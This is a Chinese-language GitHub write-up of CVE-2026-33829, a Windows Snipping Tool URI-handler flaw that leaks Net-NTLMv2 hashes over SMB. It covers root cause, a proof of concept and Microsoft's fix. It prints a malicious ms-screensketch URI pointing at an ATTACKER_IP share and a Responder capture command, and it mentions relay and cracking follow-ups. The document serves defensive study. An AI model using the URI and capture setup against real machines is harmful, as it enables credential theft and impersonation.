rahultb-sec/CVE-2026-33829-Writeup

GitHub: rahultb-sec/CVE-2026-33829-Writeup

针对 Windows 截图工具 URI 协议处理程序中 NTLM 强制认证漏洞(CVE-2026-33829)的技术分析与复现报告。

Stars: 0 | Forks: 1

# CVE-2026-33829 分析报告 漏洞案例研究:CVE-2026-33829(Windows 截图工具 NTLM 强制认证) ## 执行摘要 本分析报告详细介绍了 **CVE-2026-33829** 的技术复现过程,这是一种存在于现代 Windows 截图工具应用框架中的信息泄露漏洞。通过滥用自定义 URI 协议处理程序中未经校验的输入参数,远程主机可以强制未打补丁的 Windows 机器发起出站 SMB 连接,导致通过网络泄露 Net-NTLMv2 身份验证哈希。 URI scheme -(Windows 使用自定义协议(如 `ms-screensketch:, ms-settings: , file:`)让 Web 浏览器与桌面应用程序进行通信。) ## 根因分析 该漏洞的根本原因在于 URI scheme(`ms-screensketch:edit`)。当受害者**点击**包含(`ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png`)的恶意链接并**批准**“打开截图工具”时,操作系统会调用 SnippingTool.exe 并传入恶意的 filePath 参数,例如(`ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png`),且没有进行适当的校验。 由于存在 `:edit?` 参数,截图工具会尝试编辑所提供文件路径(`filePath=\\ATTACKER-IP\\share\evil.png`)中的文件。这会导致使用服务器消息块(SMB)通过网络发起连接。由于 SMB 旨在验证请求文件者的身份,Windows 会自动尝试验证用户身份。它会将当前登录用户的 Net-NTLMv2 质询-响应哈希发送到攻击者的服务器。整个过程在后台静默发生,对用户没有任何可见的警告或提示。 攻击者捕获受害者的 Net-NTLMv2 质询-响应身份验证数据。一旦攻击者获得了受害者的 Net-NTLM 哈希,他们就可以执行 NTLM 中继攻击,冒充受害者访问内部网络资源或向企业内的其他服务进行身份验证;或者将捕获的哈希脱机,使用暴力破解或字典攻击来破解受害者的实际纯文本 Windows 密码。 ## 概念验证 为了触发处理程序,部署了一个简单的 HTML payload 来模拟钓鱼或内网渗透向量。 ``` ``` 3 为了捕获哈希,部署了一个运行 Responder 的独立 Kali Linux 实例。 `sudo responder -I eth0 -v` 1 在目标 Windows 环境中点击按钮后,应用程序打开了编辑上下文,并立即将 SMB 请求路由到监听主机。身份验证质询-响应序列无缝完成,捕获了目标用户上下文的 Net-NTLMv2 哈希结构。 2 Screenshot (103) The NTLMSSP_NEGOTIATE packet shows the victim system initiating NTLM authentication during SMB session setup after resolving the attacker-controlled UNC path Screenshot (104) NTLMSSP_AUTH 数据包包含了在质询阶段完成后,由受害者系统发送的 Net-NTLMv2 质询-响应身份验证数据。 据此,攻击者捕获了传递的 NTLMv2 哈希。 4 根据目标环境的不同,捕获的 Net-NTLMv2 质询-响应数据可能会被用于 NTLM 中继攻击,或面临离线密码破解尝试。 ## 修复方案 **Windows 是如何修补此漏洞的?** 在打补丁之前,截图工具的编辑功能会获取 filePath 中的字符串,并将其直接传递给文件打开 API。 观察到的修补后的行为表明,Microsoft 引入了校验逻辑,防止基于 UNC/网络的 filePath 值到达底层文件处理 API。现在,当您将字符串传递给 filePath 时,应用程序会先进行完整性检查,然后再将其移交给操作系统: 它会检查字符串是否以本地驱动器标记(如 C:\ 或 D:\)或标准的、安全的本地系统变量开头。 如果应用程序检测到通用命名约定(UNC)前缀(如 \\ 或 \\\\)或外部 IP 网络特征,校验循环会将其标记为非法参数,抛出异常错误,并立即终止文件加载过程。 由于代码在执行 Win32 文件打开指令之前就停止了,Windows 内核永远不会收到请求,因此也不会发送任何 SMB 数据包。 如果我们在安装安全更新后再次尝试,应用程序仍会调用 ms-screensketch: 处理程序,但远程 filePath 值不再通过编辑工作流进行解析。 ## 对 CVE-2026-33829 的事后分析表明,受信任的应用程序工作流和旧版身份验证行为如何无意中通过出站网络交互暴露凭据材料。虽然该漏洞不能提供直接的代码执行权限,但它进一步印证了在 Windows 环境中限制不必要的 NTLM 身份验证、监控出站 SMB 流量以及校验由 URI 驱动的资源处理的重要性。 ``` Disclaimer: This write-up is compiled strictly for educational, defensive research, and lab validation purposes. All testing was performed within an entirely isolated sandbox environment. ```
标签:Conpot, StruQ, Windows安全, 信息泄露, 多模态安全, 漏洞分析, 红队研究, 路径探测